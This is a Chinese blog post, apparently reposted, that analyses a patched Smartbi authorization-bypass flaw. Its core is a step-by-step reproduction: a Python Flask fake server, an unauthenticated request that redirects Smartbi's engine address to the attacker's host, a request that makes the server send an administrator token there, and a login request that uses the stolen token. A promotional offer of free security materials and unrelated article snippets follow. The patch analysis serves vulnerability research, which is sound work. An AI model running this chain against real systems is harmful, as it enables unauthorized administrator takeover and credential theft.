smartbi token回调获取登录凭证漏洞

news2024/12/23 15:35:53

2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。

0x01分析结果

依据补丁分析,得到如下漏洞复现步骤

第一步,设置EngineAddress为攻击者机器上的http服务地址

首先使用python flask搭建一个fake server,上面只注册了/api/v1/configs/engine/smartbitoken接口,该接口返回一个json响应体

from flask import Flask,jsonify,request


app = Flask(__name__)

@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
    print(request.json)
    return jsonify(hi="jello")

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=8000)

image.png
使用如下poc,设置EngineAddress为我们的fake server地址http://10.52.32.43:8000,

POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23

http://10.52.32.43:8000

image.png

第二步,触发smartbi向我们刚刚设置的EngineAddress外发token

发送如下请求

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10

experiment

image.png
发送相关请求后,即可在我们的fake server上面看到了携带token的请求
image.png

第三步,使用上面获取的token进行登录

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47

admin_I8ac3b2d10189e80fe80fea750189ed0084f50082

返回true表示登录成功,其中的cookie就是合法的凭证

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

image.png

0x02分析过程

阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关
image.png
更进一步查看RejectSmartbixSetAddress类修补的方式,可知与smartbix.datamining.service.MonitorService类的getToken方法有关,该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。
image.png
分析smartbix.datamining.service.MonitorService类
从头部的注解可知,该类下的所有路由都不需要认证即可访问
image.png
定位到getToken方法
该方法对应的路由的/token,方法内部生成一个token,并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS
image.png
image.png
这意味着,只要ENGINE_ADDRESS可控,那么我们就能获取到一个合法的token

由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法
可知该方法可以未授权配置ENGINE_ADDRESS
image.png
那意味着,只需要调用/smartbix/api/monitor/setServiceAddress接口,将ENGINE_ADDRESS设置为我们可控的伪造服务器,那么就可以从请求报文中获取到token。
(这个位置经过尝试,发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口,并且,响应内容为json)
获取完token后,就可调用/smartbix/api/monitor/login方法进行登录
image.png

0x03其他说明

上述只说明了设置ENGINE_ADDRESS利用的情况,设置SERVICE_ADDRESS进行利用的步骤也和上述类似

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/921261.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java开源 VR全景商城 saas商城 b2b2c商城 o2o商城 积分商城 秒杀商城 拼团商城 分销商城 短视频商城 小程序商城搭建 bbc

​ 1. 涉及平台 平台管理、商家端(PC端、手机端)、买家平台(H5/公众号、小程序、APP端(IOS/Android)、微服务平台(业务服务) 2. 核心架构 Spring Cloud、Spring Boot、Mybatis、Redis 3. 前…

FPGA功能及特点

集成电路芯片包括数字芯片和模拟芯片两大类,数字芯片又分为存储器芯片和逻辑芯片。 逻辑芯片一般包括CPU、GPU、DSP等通用处理器芯片以及专用集成电路芯片ASIC。 FPGA(现场可编程门阵列)就是逻辑芯片的一种。 FPGA功能 FPGA中文名是现场可…

【速成】蓝桥杯嵌入式省一教程:(十)利用共用体进行E2PROM读写

在上一节中我们了解到,AT24C02芯片(E2PROM存储器)内部含有256个8位字节,每一次只能对一个字节进行读写操作。因此,其只能处理unsigned char或uint8_t类型的数据,对于int、float型等大于占用一个字节的数据&…

VMware虚拟机---Ubuntu无法连接网络该怎么解决?

在学习使用Linux系统时,由于多数同学们的PC上多是Windows系统,故会选择使用VMware创建一个虚拟机来安装Linux系统进行学习。 安装完成之后,在使用时总是会遇到各种各样的问题。本片随笔就主要针对可能出现的网络问题进行一个总结,…

2022中国主要城市的绿地数据

绿地是城市生态的重要组成部分,在很多分析中都会用到绿地数据! 本次给大家带来的是中国主要城市的绿地数据!31个城市 该数据是中山大学的石茜等研究者通过深度学习方法,基于GoogleEarth影像和城市边界数据绘制的!数据格式为栅格格式(.tif)。 01 数据预览 我们以北京…

联邦学习:对“数据隐私保护”和“数据孤岛”困境的破局

作者:vivo 互联网安全团队- Tu Daxi 随着计算力、算法和数据量的巨大发展,人工智能迎来第3次发展高潮,开始了各行业的落地探索。然而,在“大数据”兴起的同时,更多行业应用领域中是“小数据”或者质量很差的数据。“数…

php开发websocket笔记(1)

1.运行server1.php文件 Windows命令行运行 php server1.php<?phperror_reporting(E_ALL); set_time_limit(0); //ob_implicit_flush(); $address 0.0.0.0;//可以监听网络上的请求 $address 127.0.0.1;//只能监听本机的请求$port 10005; //创建端口 $socket1 socket_cr…

智能型温湿度传感器在各个行业的广泛应用

在物联网时代&#xff0c;传感器的重要性是不言而喻&#xff0c;各类传感器在不同领域都有着极为重要的应用。如在智能家居领域&#xff0c;现代人们追求高品质舒适生活&#xff0c;对于所处环境要求进一步提升&#xff0c;以环境监测为主的智能家居设备广受追捧。这时候温湿度…

数据库——Redis 常见数据结构以及使用场景分析

文章目录 1. string2. list3. hash4. set5. sorted set 你可以自己本机安装 redis 或者通过 redis 官网提供的在线 redis 环境。 1. string 介绍 &#xff1a;string 数据结构是简单的 key-value 类型。虽然 Redis 是用 C 语言写的&#xff0c;但是 Redis 并没有使用 C 的字符串…

数据分析利器:pandas库的奥秘与代码示例

pandas是Python中一款强大的数据分析库&#xff0c;它提供了数据清洗、数据操作、数据可视化等功能&#xff0c;使得数据分析与处理变得更加高效和便捷。本文将从基本概念、基础知识、高级特性、实战案例和总结五个方面&#xff0c;深入介绍pandas库的用法和技巧。 一、基本概念…

安装Docker并配置镜像加速器、容器

1.安装docker服务&#xff0c;配置镜像加速器 安装软件包 [rootlocalhost ~]# yum install -y yum-utils device-mapper-persistent-data lvm2 设置yum源 [rootlocalhost ~]# yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo…

ZDRE6VP4-1X/50MG24K4V比例压力阀放大器

DRE 6-11/100MG24K4M比、DRE 10-6X/200YMG24K4M、DRE 20-52/200YMG24K4M、DRE 20-6X/200YMG24K4M、ZDRE6VP1-1X/315MG24N9K4M、ZDRE6VP4-1X/50MG24K4V、Z3DRE6VP2-2X/50G24K4M、Z3DRE6VP1-2X/100G24K4M、Z3DRE10VP2-1X/100XYG24K4M、Z3DRE10VP1-1X/315XLG24K4V 功能: 设定值通…

【实践篇】DDD脚手架及编码规范 | 京东云技术团队

一、背景介绍 我们团队一直在持续推进业务系统的体系化治理工作&#xff0c;在这个过程中我们沉淀了自己的DDD脚手架项目。脚手架项目是体系化治理过程中比较重要的一环&#xff0c;它的作用有两点&#xff1a; &#xff08;1&#xff09;可以对新建的项目进行统一的规范&…

【校招VIP】java语言考点之类的加载过程

考点介绍&#xff1a; 类的加载过程在校招面试中是个高频考点。类只有在要运行的时候才会被加载进JVM,即编译后只有需要到这个类的时候才会把他加载进JVM运行&#xff0c;这种动态加载是依靠反射来实现的&#xff0c;一般来说一个class只会被加载一次...... 『java语言考点之…

oracle 启停操作

1. 监听端口启停 # 根据实际情况 切换至oracle用户 su - oracle# 状态查看 lsnrctl stat# 启动1521端口监听 lsnrctl start# 关闭1521监听 lsnrctl stop 2. 数据库服务启停 # 立即关闭服务 shutdown immediate# 启动服务 startup

前端需要理解的 JavaScript 知识

1 关于JavaScript JavaScript&#xff08;JS&#xff09;是单线程的、基于原型的、弱类型的、动态类型的、轻量的、支持面向对象/命令式/声明式编程的、头等函数的、多范式的、解释性&#xff08;直译式或即时编译&#xff09;的、也可在非浏览器环境下使用的动态脚本语言。Ja…

AI创作助手:介绍 TensorFlow 的基本概念和使用场景

目录 背景 环境测试 入门示例 背景 TensorFlow 是一个强大的开源框架&#xff0c;用于实现深度学习和人工智能模型。它最初由 Google 开发&#xff0c;现在已经成为广泛使用的机器学习框架之一。 TensorFlow 简单来说就是一个用于创建和运行机器学习模型的库。它的核心概念…

安装ssl证书有什么意义?

相信很多网站用户对ssl证书都有一定的了解&#xff0c;它就像是身份证&#xff0c;同时也能保障网站的安全&#xff0c;尤其是一些交易平台&#xff0c;不泄露客户的隐私。为了保证在线客户的隐私信息的安全&#xff0c;中小型企业一定要明白安装ssl证书的重要性。下面JoySSL的…

Nginx实践之使用MaxMind的GeoIP2实现处理不同国家的访问

场景&#xff1a; 因防火墙到期&#xff0c;原网站接入的需要回到公网的解析&#xff0c;经过分析&#xff0c;站点只需要国内访问。于是想到了用地址过滤&#xff0c;目前比较火的是nginx的allow和deny&#xff0c;另外一种是geoip,geoip2 区别&#xff1a; GeoIP用于通过IP获…

ssm班主任助理系统源码和论文

ssm班主任助理系统源码和论文054 开发工具&#xff1a;idea 数据库mysql5.7 数据库链接工具&#xff1a;navcat,小海豚等 技术&#xff1a;ssm 1、课题背景 由于当今社会科学技术不断发展,科学技术不断发展&#xff0c;21世纪的今天是一个讲究质量和效率的时代&#xff0…